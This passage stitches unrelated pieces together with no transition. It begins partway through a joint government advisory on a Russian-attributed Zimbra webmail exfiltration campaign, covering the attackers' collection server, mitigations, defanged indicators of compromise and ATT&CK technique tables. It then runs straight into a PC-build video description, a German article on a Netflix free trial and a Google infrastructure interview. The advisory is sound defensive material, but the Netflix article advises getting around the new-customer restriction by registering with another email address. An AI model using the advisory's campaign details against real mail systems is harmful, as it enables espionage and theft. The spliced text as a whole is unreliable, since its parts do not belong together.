The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

Time,
Source IP address,
Request method,
Host,
Path,
Query string,
Headers, and
Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.





  
      




      Figure 8: Command used for automated directory cleanup
  
Response strategies
Mitigations
In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.
All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].
System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.
Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.  
Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and  
Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.
Indicators of compromise (IOCs)
Flowerbed infrastructure
The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].


Table 7: Flowerbed server infrastructure





Domain 






IP Address 






First Seen 






Last Seen 










zmailanalytics[.]com 






216.252.238[.]104 






8 July 2025 






15 October 2025 








zimbra-metadata[.]com 






216.252.238[.]18 






20 August 2025 






14 October 2025 








analyticemailmeter[.]com 






37.120.247[.]228 






24 September 2025 






18 March 2026 








emailanalytics.com[.]ua 






185.86.79[.]95 






24 September 2025 






18 March 2026 








mailnalysis[.]com 






104.248.134[.]194 






11 November 2025 






17 February 2026 








zimbrastat[.]com 






64.226.124[.]190 






18 December 2025 






18 March 2026 








zimbrasoft.com[.]ua 






193.238.152[.]66 






20 January 2026 






18 March 2026 








synacorzimbra[.]nl 






216.252.238[.]64 






3 February 2026 






30 March 2026 








istc-cloud[.]com 






194.156.103[.]193 






5 February 2026 






30 March 2026 








Table 8: Flowerbed X.509 certificate SHA-1 hashes  





Associated Domain 






X.509 SHA-1 Hash 






First Seen 






Last Seen 










zmailanalytics[.]com 






2e4f314bc9943cab5005d6fde0b271c74d47bc9d 






8 Jul 2025 






6 Aug 2025 








*.i.zmailanalytics[.]com 






50a87d926621dd06389ba50d86e0ff574ed713a8 






6 Aug 2025 






13 Oct 2025 








*.i.zimbra-metadata[.]com 






c5a72420e7bb308d078e62128430897f82194c95 






20 Aug 2025 






14 Oct 2025 








*.i.analyticemailmeter[.]com 






8959c4d29e29f02ea94ea8bb21c8df2594c5549d 






24 Sep 2025 






8 Nov 2025 








*.i.emailanalytics.com[.]ua 






62eb76432597694edb01c1fe57aab0cfe03a7178 






25 Sep 2025 






27 Sep 2025 








*.i.mailnalysis[.]com 






cddf5c3be1e07f28140aed165b929bf2d614922a 






12 Nov 2025 






17 Dec 2025 








*.i.zimbrastat[.]com 






18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 






18 Dec 2025 






28 Dec 2025 








*.i.zimbrasoft.com[.]ua 






1b25041ececf2457eef0270fc1d785cec8ec9ded 






21 Jan 2026 






10 Feb 2026 








*.i.synacorzimbra[.]nl 






e4fe6466a4f9a4249fe330651e914e45bbdca44a 






5 Feb 2026 






22 Mar 2026 








*.i.istc-cloud[.]com 






b6b77c9a455225d525834a403ca9ef5481ed0447 






12 Feb 2026 






30 Mar 2026 






LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

ivanka.zurabishvili@proton[.]me,
zmul1@buildandconsulting[.]com,
garrysmithme@pinmx[.]net, and
hostingclient@pinmx[.]net.

Phishing distribution
LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  
The following email addresses have distributed payloads attributed to this campaign:

c.laurent.ejfa@proton[.]me,
j.moreau.epsc@proton[.]me,
liberty.insights@proton[.]me,
certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts
Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.
This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

Many SearchGalRequest command requests from a single user over a short period of time;
Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.
While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”
In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  
Remediation
In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.
Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.
All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.
Works cited
[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf
[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/
[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/ 
[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit
[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  
Footnotes
¹ Národní úřad pro kybernetickou a informační bezpečnost
²Forsvarets Efterretningstjeneste
³Välisluureamet
⁴ Sotilastiedustelu
⁵ Suojelupoliisi
⁶ Direction générale de la sécurité intérieure
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Serviciul de Informații și Securitate al Republicii Moldova
¹¹Agencja Wywiadu
¹²Służba Kontrwywiadu Wojskowego
¹³Centro Nacional de Inteligencia
¹⁴Nationellt Cybersäkerhetscenter
¹⁵ MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.
Acknowledgements
The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.
Disclaimer of endorsement
The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.
Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.
Purpose
This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
Contact


United States organizations 

National Security Agency 
Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov 
Cybersecurity and Infrastructure Security Agency 
CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472). 
Federal Bureau of Investigation 
If you or someone you know has fallen victim to this campaign, file a complaint with IC3. 
Defense Counterintelligence and Security Agency  
DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil 
Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. 
Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil  
Department of Defense Cyber Crime Center  
Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil 
Media Inquiries / Press Desk: DC3.Information@us.af.mil 
Naval Criminal Investigative Service 
To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations 

Defence Intelligence and Security Service (MIVD): https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid  
General Intelligence and Security Service (AIVD): https://www.aivd.nl 

Australian organizations 

Australian Signals Directorate 
Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. 

Canadian organizations 

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  
Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788). 

New Zealand organizations 

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz 

United Kingdom organizations 

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7) 

Estonia organizations 

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee 

Finnish organizations 

Finnish Security and Intelligence Service: supo.fi/en/contact 

French organizations 

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18. 

Italian Organizations 

Italian External Intelligence and Security Agency (AISE):  
Visit https://www.sicurezzanazionale.gov.it/  
Italian Internal Intelligence and Security Agency (AISI):  
Visit https://www.sicurezzanazionale.gov.it/ 


Moldovan organizations 



Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md 


Polish organizations 

Polish Foreign Intelligence Agency (AW): ctiteam@aw.gov.pl



Appendix A: MITRE ATT&CK tactics and techniques
See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.



Table 9: Reconnaissance 





Technique Title 






ID 






Use 










Gather Victim Identity Information: Credentials 






T1589.001 






The payload attempts to intercept a victim’s password from their password manager. 








Gather Victim Identity Information: Email Addresses 






T1589.002 






The payload attempts to grab the victim’s email address from various data stores. 








Search Open Websites/Domains 






T1593 






This group likely leverages public information to support target development. 








Active Scanning 






T1595 






Port scanning can be used by this group to assist with determining exploitability of identified targets. 








Search Open Technical Databases: Scan Databases 






T1596.005 






Various public datasets can provide information to support discovery of exploitable targets. 








Search Closed Sources 






T1597 






Previously exfiltrated data can be used to enhance target development efforts. 








Search Closed Sources: Purchase Technical Data 






T1597.002 






Commercial datasets can also be used to support target development efforts. 












Table 10: Resource Development 





Technique Title 






ID 






Use 










Acquire Infrastructure 






T1583 






This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. 








Acquire Infrastructure: Virtual Private Server 






T1583.003 






This group procured VPS servers from a variety of vendors. 








Develop Capabilities 






T1587 






The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns. 








Develop Capabilities: Malware 






T1587.001 






Development of a novel payload that steals a victim’s emails and other sensitive account information. 








Develop Capabilities: Exploits 






T1587.004 






Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. 








Obtain Capabilities: Tool 






T1588.002 






Open source tools, such as Evilginx2, have also been used by the group. 








Obtain Capabilities: Artificial Intelligence 






T1588.007 






The group appears to have leveraged AI to support development efforts. 








Stage Capabilities 






T1608 






Flowerbed is deployed to a procured server in the cloud. 












Table 11: Initial Access 





Technique Title 






ID 






Use 










Valid Accounts 






T1078 






This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  








Trusted Relationship 






T1199 






The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  








Phishing 






T1566 






The actors used spear phishing to lure users into opening malicious email. 












Table 12: Execution 





Technique Title 






ID 






Use 










Exploitation for Client Execution 






T1203 






An XSS vulnerability was leveraged to execute the JavaScript payload. 












Table 13: Persistence 





Technique Title 






ID 






Use 










Account Manipulation 






T1098 






Enabling IMAP and Application Passcodes provides persistent access to the compromised account. 








Modify Authentication Process: Multi-Factor Authentication 






T1556.006 






Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 












Table 14: Privilege Escalation 





Technique Title 






ID 






Use 










Valid Accounts 






T1078 






This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  












Table 15: Stealth 





Technique Title 






ID 






Use 










Obfuscated Files or Information: Command Obfuscation 






T1027.010 






Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. 








Obfuscated Files or Information: Encrypted/Encoded File 






T1027.013 






The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. 








Obfuscated Files or Information: SVG Smuggling 






T1027.017 






The payload was contained in an “onload” attribute within an SVG image included in the malicious email. 








Use Alternate Authentication Material: Web Session Cookie 






T1550.004 






Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. 












Table 16: Credential Access 





Technique Title 






ID 






Use 










Modify Authentication Process: Multi-Factor Authentication 






T1556.006 






Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 








Adversary-in-the-Middle 






T1557 






Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. 












Table 17: Collection 





Technique Title 






ID 






Use 










Data Staged: Remote Data Staging 






T1074.002 






Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. 








Email Collection 






T1114 






This group has emphasized collection of emails. 








Email Collection: Remote Email Collection 






T1114.002 






Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. 








Automated Collection 






T1119 






Upon execution, the JavaScript payload automatically collects all relevant information in stages. 








Browser Session Hijacking 






T1185 






The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. 








Archive Collected Data 






T1560 






Emails are exfiltrated with GZIP compression. 












Table 18: Discovery 





Technique Title 






ID 






Use 










Account Discovery 






T1087 






Stolen Global Access Lists provide the group with new users to target. 












Table 19: Exfiltration 





Technique Title 






ID 






Use 










Exfiltration Over Alternative Protocol 






T1048 






Victim information was exfiltrated over both HTTPS and DNS. 








Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol 






T1048.002 






Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. 








Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol 






T1048.003 






Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. 








Appendix B: MITRE D3FEND countermeasures 
See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. 



Table 20: MITRE D3FEND Countermeasures 





Countermeasure Title 






ID 






Description 










Application Hardening 






D3-AH 







Organizations should immediately prioritize patching CVE-2025-66376.  
Organizations should promptly apply software updates to all email systems. 









Isolate 






d3f:Isolate 






Organizations that cannot feasibly patch should use alternative mail clients. 








Credential Hardening 






D3-CH 






Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. 








Network Traffic Analysis 






D3-NTA 






Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. 








DNS Traffic Analysis 






D3-DNSTA 






Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. 








Network Traffic Community Deviation 






D3-NTCD 







Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. 
Organizations should monitor for connections to internal services, such as webmail, from VPN providers. 









Identifier Activity Analysis 






D3-IAA 






Organizations should search for the listed known IOCs. 








Process Analysis 






D3-PA 







Organizations should search ZCS log files for specific commands used by the malicious script. 
Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. 






Message Analysis
D3-MA
Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.







PSU Installation & Cable Management Made Easy 🖥️ Part 6: How To Build A PC For Beginners 🎮
Thu, 23 Jul 2026 15:21:48 +0200
Author: Shannon Morse - Bewertung: 8x - Views:41 
⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.



I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.



Whether you're building your very first gaming PC or just need a refresher, this step-by-step guide will help you wire everything correctly and keep your build clean.



A huge thank you to ASUS and Kingston for partnering on this PC build series! ❤️



👍 If you're enjoying the series, don't forget to subscribe so you don't miss the next episode where we install the graphics card and finish wiring the entire system!



#PCBuild #GamingPC #CableManagement #PCBuilding #PowerSupply #ASUS #Kingston #CustomPC #DIYPC #BeginnerPCBuild



https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D  



📺 Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe



CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)

Amazon: https://amzn.to/3O70PIU

Best Buy: https://bestbuycreators.7tiv.net/YRWkZq

B&H: https://bhpho.to/3PjZZcr



CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)

Amazon: https://amzn.to/4bkdodD

Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q

B&H: https://bhpho.to/46EWdR4



Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)

Amazon: https://amzn.to/3NI9tO0

Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6

B&H: https://bhpho.to/4ubyfa7



Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2

Amazon: https://amzn.to/49SZug7

Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G



Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)

Amazon: https://amzn.to/4bSOyBO

Best Buy: https://bestbuycreators.7tiv.net/vPeg7N

B&H: https://bhpho.to/4bpm9m9



Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)

Amazon: https://amzn.to/4pTv8QB

Best Buy: https://bestbuycreators.7tiv.net/N9AYrN

B&H: https://bhpho.to/40dqbYK



Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)

Amazon: https://amzn.to/3NNmKos

Best Buy: https://bestbuycreators.7tiv.net/GKrYLB

B&H: https://bhpho.to/46HyuQb



Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)

Amazon: https://amzn.to/4bTH8yd

Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO

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Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)

Amazon: https://amzn.to/4qSDWHG

Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO

B&H: https://bhpho.to/3N1pqPq



Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)

Amazon: https://amzn.to/3YWIbG7

Best Buy: https://bestbuycreators.7tiv.net/QjVx5z

B&H: https://bhpho.to/4uaSzs9



Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)

Amazon: https://amzn.to/4rzKNpN

Best Buy: https://bestbuycreators.7tiv.net/55OBVD

B&H: https://bhpho.to/46KcvYO 



 Turning Cable Chaos Into Cable Management Dreams

00:42 What Does a Power Supply Do?

02:04 Why This Build Uses a 1000W PSU

03:12 Fully Modular Power Supplies Explained 

04:10 Identifying Every Power Cable

05:16 Installing the PSU

06:42 Subscribe & Patreon Shoutout

07:33 Connecting the 24-Pin Motherboard Cable

08:36 CPU Power Connectors

09:53 Cable Routing Tips

11:02 SATA Power & Accessories

11:54 Cable Management Basics

13:07 Next Episode Preview





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Netflix-Abo bis zu 30 Tage kostenlos bekommen: So geht’s
Thu, 23 Jul 2026 15:20:43 +0200





Ein Netflix-Abo hat mittlerweile so gut wie jeder, doch der eine oder andere wartet vielleicht noch auf eine Möglichkeit, das Streaming-Angebot kostenlos zu testen. Das war seit den Anfängen von Netflix nicht mehr möglich, doch jetzt gibt es wieder einen kostenlosen Probezeitraum.



Bis zu 30 Tage können Sie den Streamingtest jetzt kostenlos nutzen. Teilweise werden auch nur 14 Tage angeboten, der Gratis-Zeitraum scheint also je nach Standort oder genutztem Browser zu variieren. Auf der Webseite von Netflix Deutschland wurden uns auch nur 14 Tage für 0 Euro angezeigt. Es kann aber helfen, wenn Sie auf ein anderes Gerät wechseln oder Cookies löschen.






Wichtig: Das Angebot gilt explizit nur für Neukunden, nicht für wiederkehrende Abonnenten. Allerdings ist es recht einfach, diesen Umstand zu umgehen, wenn Sie sich einfach mit einer anderen E-Mail-Adresse als zuvor registrieren. Dann haben Sie zwar keinen Zugriff auf Ihren alten Account inklusive persönlicher Daten, Listen und Streaming-Historie, doch das ist sicher zu verschmerzen.



Nach Ablauf des Probezeitraums müssen Sie sich für ein Abo entscheiden (oder vorher kündigen). Zur Wahl stehen Standard mit Werbung für 4,99 Euro monatlich, Standard ohne Werbung für 13,99 Euro monatlich oder Premium für 19,99 Euro monatlich.



Warum genau Netflix gerade jetzt ein Probe-Abo wieder einführt, ist nicht ganz klar. Vermutlich versucht der Anbieter aber, neue Abonnenten dazu zu gewinnen, nachdem die Zahlen zuletzt stagnierten. Zwar ist Netflix der größte Anbieter für Streaming, doch die Konkurrenz schläft nicht. Seit Januar 2026 gibt es beispielsweise auch HBO Max in Deutschland, das mit großen Namen wie Game of Thrones, House of the Dragon, Harry Potter oder Superman wirbt.



Eine Übersicht aller wichtigen Streaming-Dienste finden Sie hier, inklusive Preisen, Vorteilen und Nachteilen.




Q&A: Google’s AI and computing chief talks about its shapeshifting data centers
Thu, 23 Jul 2026 14:55:21 +0200

		
					  
						




Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: Google transforms its data center architecture for agent era)



Network World spoke with Mark Lohmeyer, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.



Network World: What is the primary shift in infrastructure needs?



Mark Lohmeyer: We’ve seen the rise of agents and agentic use cases. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.



NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?



ML: Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, inference transactions increase by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.



NW: How are you addressing energy efficiency?



ML: Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced liquid cooling over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called N4A has energy efficiency and is significantly better than the prior generation and x86 comparables.



NW: How do you think about token efficiency as you build-out systems?



ML: Performance and efficiency gains are powered by co-design of the model and infrastructure. Gemini is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.



NW: How do you project what infrastructure will be needed years in advance?



ML: Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with DeepMind doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.



NW: What’s the eighth generation TPU platform?



ML: We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The eighth-generation TPU platform is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.



TPU-8t is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.



NW: How are you approaching GPU and TPU compatibility?



ML: People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, PyTorch and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.



